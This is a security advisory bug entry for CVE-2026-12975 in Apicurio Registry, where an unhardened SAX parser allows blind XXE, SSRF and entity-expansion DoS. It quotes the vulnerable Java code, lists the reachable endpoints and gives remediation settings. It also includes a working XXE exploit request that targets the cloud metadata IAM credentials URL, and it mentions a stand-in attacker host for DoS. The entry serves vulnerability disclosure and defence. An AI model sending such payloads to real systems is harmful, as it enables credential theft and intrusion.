Bug 2491688 (CVE-2026-12975) - CVE-2026-12975 Apicurio/apicurio-registry: apicurio-registry: Unhardened SAXParser in content-type detection leads to blind XXE / SSRF / billion-laughs DoS
Summary: CVE-2026-12975 Apicurio/apicurio-registry: apicurio-registry: Unhardened SAXP...
Keywords:
Status: NEW
Alias: CVE-2026-12975
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-06-23 11:40 UTC by OSIDB Bzimport
Modified: 2026-06-25 08:29 UTC (History)
6 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-06-23 11:40:27 UTC
**Description**
```java
public static boolean isParsableXml(ContentHandle content) {
    try {
        SAXParserFactory factory = SAXParserFactory.newInstance();
        SAXParser saxParser = factory.newSAXParser();
        saxParser.parse(new InputSource(new StringReader(content.content())), new DefaultHandler());
        return true;
    } catch (Exception e) { return false; }
}
```
No call to `setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)`, `XMLConstants.FEATURE_SECURE_PROCESSING`, or `ACCESS_EXTERNAL_DTD=""`. The default JAXP/Xerces SAX parser will resolve external DTDs and external general entities.

**Reachability** — `isParsableXml()` is invoked from:
- `ContentTypeUtil.determineContentType()` (line 180) ← `GroupsResourceImpl.java:1058,1221` (REST v2 `POST /apis/registry/v2/groups/{g}/artifacts` when client omits `Content-Type` / `X-Registry-ArtifactType`) and `SubjectsResourceImpl.java:315` (Confluent-compat `POST /subjects/{subject}/versions`).
- `XmlContentAccepter.java:19`, `XsdContentAccepter.java:19`, `WsdlContentAccepter.java:19` — run during artifact-type inference on **every** upload with `application/xml` content-type.

**Exploit**
```http
POST /apis/registry/v2/groups/default/artifacts HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
  %x;
]>
<r/>
```
The SAX parser issues an HTTP GET to the attacker-chosen URL from the registry pod (SSRF — cloud metadata, in-cluster services, port scan). Because the handler is `DefaultHandler` and the result is discarded into a boolean, exfiltration is **blind/out-of-band** (DNS/HTTP callback), but DoS via `<!ENTITY a "&b;&b;...">` recursion or fetching `http://attacker/4gb.bin` is direct.

**Remediation**
```java
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```
Or reuse the already-hardened `DocumentBuilderAccessor` pattern with the additional `disallow-doctype-decl` flag.


Note You need to log in before you can comment on or make changes to this bug.